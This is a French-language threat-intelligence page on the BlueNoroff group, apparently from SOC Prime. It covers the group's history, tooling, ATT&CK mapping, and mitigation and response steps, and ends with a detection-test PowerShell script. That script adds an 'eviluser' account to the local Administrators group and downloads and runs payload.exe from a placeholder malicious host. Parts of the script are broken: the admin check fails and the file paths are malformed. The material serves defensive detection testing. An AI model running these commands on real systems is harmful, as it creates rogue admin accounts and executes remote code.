SOC Prime Bias: Critique

21 Jan 2026 18:58

Groupe BlueNoroff : Le Bras de la Cybercriminalité Financière de Lazarus

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Groupe BlueNoroff : Le Bras de la Cybercriminalité Financière de Lazarus
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

BlueNoroff est un sous-groupe à motivation financière au sein de l’écosystème Lazarus qui se concentre sur des opérations de vols à grande échelle contre les banques, les entreprises de cryptomonnaie et des cibles Web3 plus larges. Le plan du groupe comprend des fraudes avec SWIFT, des compromissions par points d’eau, des empoisonnements de la chaîne d’approvisionnement de paquets Go et des chemins d’intrusion macOS construits autour de leurres de fausses « interviews d’emploi ». Pour parvenir à l’exécution et à la persistance, BlueNoroff mélange une pile de malwares modulaire en Rust/Go avec AppleScript, VBScript, et des workflows d’ingénierie sociale conçus pour contourner la prudence de l’utilisateur et se fondre dans les activités légitimes de développement et d’administration.

Enquête

Le rapport suit la trajectoire de BlueNoroff depuis le braquage de la Banque du Bangladesh en 2016 jusqu’aux récentes activités de la chaîne d’approvisionnement de l’ère 2025, soulignant comment l’outillage et le ciblage de l’acteur se sont développés parallèlement à l’écosystème crypto/Web3. Les chercheurs décrivent les modèles d’infrastructure et cataloguent les composants malveillants, y compris GhostCall, GhostHire, RustBucket et GillyInjector. L’enquête cartographie également les comportements observés avec MITRE ATT&CK à travers des phases telles que la reconnaissance et l’accès initial, puis l’exécution, la persistance et le vol de justificatifs d’identité, renforçant une constante sur l’accent mis sur les points d’appui furtifs, la livraison de charges par étapes et les chemins d’accès prêts pour le vol.

Atténuation

Réduisez l’exposition en renforçant l’hygiène de la chaîne d’approvisionnement : validez les paquets extraits des registres publics, imposez le verrouillage et les contrôles de provenance, et examinez en continu les mises à jour de dépendance pour des changements inattendus de mainteneurs ou de code. Sur macOS, renforcez la gouvernance LaunchAgent/LaunchDaemon et surveillez les entrées de persistance suspectes et les outils non signés. Bloquez les domaines semblables utilisés pour la livraison de leurres, appliquez l’authentification multi-facteurs pour les identités privilégiées et les services exposés à l’extérieur, et opérationnalisez les détections pour les scripts malveillants connus, les chargeurs et les techniques d’empaquetage associées à l’acteur. Maintenez des mises à jour fréquentes sur le renseignement contre les menaces et renforcez la formation des utilisateurs axée sur les modèles d’hameçonnage ciblé et d’ingénierie sociale de « recruteur/interview d’emploi ».

Réponse

Si des indicateurs de BlueNoroff sont découverts, isolez les hôtes affectés et conservez des preuves clés, y compris les lignes de commande complètes, le contenu des scripts et les binaires ou artefacts de paquets déposés. Bloquez les domaines malveillants identifiés et les IP de C2, puis exécutez les procédures de réponse aux incidents alignées sur le vol de justificatifs d’identité et les scénarios de compromission de la chaîne d’approvisionnement. Déployez ou ajustez les détections pour les chaînes d’exécution d’AppleScript et de VBScript, ainsi que pour les modèles PowerShell suspects mentionnés dans le rapport, puis élargissez la chasse pour identifier les points de terminaison supplémentaires exposés au même leurre, dépendance, ou chevauchement d’infrastructure.

« graph TB %% Class Definitions classDef technique fill:#99ccff classDef action fill:#ffdd99 classDef operator fill:#ff9900 %% Technique Nodes gather_identity[« <b>Technique</b> – <b>T1589 Collecte d’informations d’identité de la victime</b><br/>Collecte des informations personnelles, professionnelles et en ligne sur la cible. »] class gather_identity technique search_social[« <b>Technique</b> – <b>T1593.001 Recherche sur les réseaux sociaux</b><br/>Interroge les comptes de réseaux sociaux détenus par la victime pour trouver des données utiles. »] class search_social technique phish_info[« <b>Technique</b> – <b>T1598.001 Hameçonnage pour obtenir des informations</b><br/>Crée des messages pour tromper les victimes afin de leur faire divulguer des identifiants ou d’autres données. »] class phish_info technique spearphish_service[« <b>Technique</b> – <b>T1566.003 Hameçonnage ciblé via un service</b><br/>Utilise un service en ligne légitime pour livrer du contenu malveillant à la victime. »] class spearphish_service technique launch_agent[« <b>Technique</b> – <b>T1543.001 Agent de lancement</b><br/>Installe un agent de lancement macOS pour atteindre la persistance. »] class launch_agent technique launch_daemon[« <b>Technique</b> – <b>T1543.004 Daemon de lancement</b><br/>Installe un daemon de lancement macOS pour atteindre la persistance. »] class launch_daemon technique tcc_manip[« <b>Technique</b> – <b>T1548.006 Manipulation TCC</b><br/>Modifie les paramètres de Transparence, Consentement et Contrôle pour obtenir des privilèges élevés. »] class tcc_manip technique software_packing[« <b>Technique</b> – <b>T1027.002 Empaquetage de logiciels</b><br/>Compresse ou crypte la charge utile pour échapper à l’analyse. »] class software_packing technique masquerading[« <b>Technique</b> – <b>T1036.005 Usurpation d’identité</b><br/>Renomme les fichiers ou utilise des icônes familières pour apparaître légitime. »] class masquerading technique gui_input[« <b>Technique</b> – <b>T1056.002 Capture d’entrée GUI</b><br/>Enregistre les frappes ou l’entrée de la souris depuis les interfaces graphiques pour voler des identifiants. »] class gui_input technique system_info[« <b>Technique</b> – <b>T1082 Découverte d’informations système</b><br/>Collecte la version de l’OS, les détails du matériel et les logiciels installés. »] class system_info technique data_local[« <b>Technique</b> – <b>T1005 Données du système local</b><br/>Copie des fichiers d’intérêt depuis l’hôte infecté. »] class data_local technique local_staging[« <b>Technique</b> – <b>T1074.001 Mise en scène des données locales</b><br/>Place les données collectées dans un répertoire pour une exfiltration ultérieure. »] class local_staging technique web_protocols[« <b>Technique</b> – <b>T1071.001 Protocoles Web</b><br/>Utilise HTTP/HTTPS pour le trafic de commande et de contrôle. »] class web_protocols technique dead_drop[« <b>Technique</b> – <b>T1102.001 Résolveur Drop Mort</b><br/>Récupère des instructions à partir d’un emplacement hébergé publiquement. »] class dead_drop technique bidirectional[« <b>Technique</b> – <b>T1102.002 C2 bidirectionnel</b><br/>Permet une communication bidirectionnelle entre l’attaquant et le malware. »] class bidirectional technique oneway[« <b>Technique</b> – <b>T1102.003 C2 unidirectionnel</b><br/>Ne reçoit que des commandes de l’attaquant sans envoyer de données en retour. »] class oneway technique %% Action Nodes user_click[« <b>Action</b> – L’utilisateur clique sur un lien malveillant et télécharge la charge utile »] class user_click action %% Operator Node (optional AND for persistence options) op_persistence((« AND »)) class op_persistence operator %% Connections gather_identity u002du002d>|mène à| search_social search_social u002du002d>|mène à| phish_info phish_info u002du002d>|mène à| spearphish_service spearphish_service u002du002d>|déclenche| user_click user_click u002du002d>|établit| op_persistence op_persistence u002du002d>|utilise| launch_agent op_persistence u002du002d>|utilise| launch_daemon launch_agent u002du002d>|active| tcc_manip launch_daemon u002du002d>|active| tcc_manip tcc_manip u002du002d>|active| software_packing tcc_manip u002du002d>|active| masquerading software_packing u002du002d>|facilite| gui_input masquerading u002du002d>|facilite| gui_input gui_input u002du002d>|fournit| system_info system_info u002du002d>|supporte| data_local data_local u002du002d>|prépare| local_staging local_staging u002du002d>|exfiltre via| web_protocols web_protocols u002du002d>|supporte| dead_drop dead_drop u002du002d>|supporte| bidirectional bidirectional u002du002d>|supporte| oneway « 

Flux d’Attaque

Exécution de Simulation

Prérequis : La Vérification Préliminaire de Télémétrie et Baseline doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés entraîneront un diagnostic erroné.

  • Récit d’Attaque & Commandes :

    1. Exécution AppleScript (T1546.016) – L’adversaire dépose un payload.scpt malveillant sur le point d’extrémité (par exemple via une pièce jointe d’hameçonnage). En utilisant un osascript.exe préinstallé (inclus avec un outil tiers), ils lancent le script pour exécuter une charge utile PowerShell qui ajoute un nouveau compte administrateur local.
    2. Livraison du Presse-papiers ClickFix (T1204.004) – L’attaquant copie une commande conçue dans le presse-papiers qui invoque curl avec un agent utilisateur style Zoom pour télécharger une seconde charge utile, puis l’exécute immédiatement via cmd.exe. La commande inclut également un appel inline powershell.exe -c pour exécuter la charge utile en mémoire.
  • Script de Test de Régression : Le script ci-dessous reproduit les deux comportements de manière déterministe.

    #----- DÉBUT DU SCRIPT DE TEST DE RÉGRESSION -----
    # Assurez-vous que nous exécutons avec des privilèges administratifs
    if (-not ([Security.Principal.WindowsPrincipal] `
        [Security.Principal.WindowsBuiltInRole] "Administrator")) {
        Write-Error "Exécutez ce script en tant qu'administrateur."
        exit 1
    }
    
    # 1. Exécution AppleScript via osascript.exe
    $appleScriptPath = "$env:TEMPmalicious.scpt"
    Set-Content -Path $appleScriptPath -Value @"
    interroger application "System Events"
        exécuter script de shell "powershell -c `"Add-LocalGroupMember -Group 'Administrators' -Member 'eviluser'`""
    fin interroger
    "@
    # Exécuter l'AppleScript
    Start-Process -FilePath "osascript.exe" -ArgumentList "`"$appleScriptPath`"" -NoNewWindow -Wait
    
    # 2. Livraison style ClickFix par presse-papiers
    $clickFixCmd = 'curl -A "ZoomSDK" http://malicious.example.com/payload.exe -o $env:TEMPpayload.exe && powershell.exe -c "Start-Process $env:TEMPpayload.exe"'
    # Exécuter via cmd.exe pour correspondre à la condition de règle
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `$clickFixCmd" -NoNewWindow -Wait
    
    # Nettoyage : enlever les artefacts
    Remove-Item -Path $appleScriptPath -Force
    Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue
    # Fin du script
    #----- FIN DU SCRIPT DE TEST DE RÉGRESSION -----
  • Commandes de Nettoyage : Enlevez tous les processus, fichiers et comptes utilisateur de test restants.

    # Arrêter les processus restants (défensif - normalement pas nécessaire)
    Get-Process -Name "osascript","cmd","powershell","payload" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Supprimer les fichiers temporaires
    Remove-Item -Path "$env:TEMPmalicious.scpt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue
    
    # Supprimer le compte administrateur de test s'il a été créé
    if (Get-LocalUser -Name "eviluser" -ErrorAction SilentlyContinue) {
        Remove-LocalUser -Name "eviluser"
    }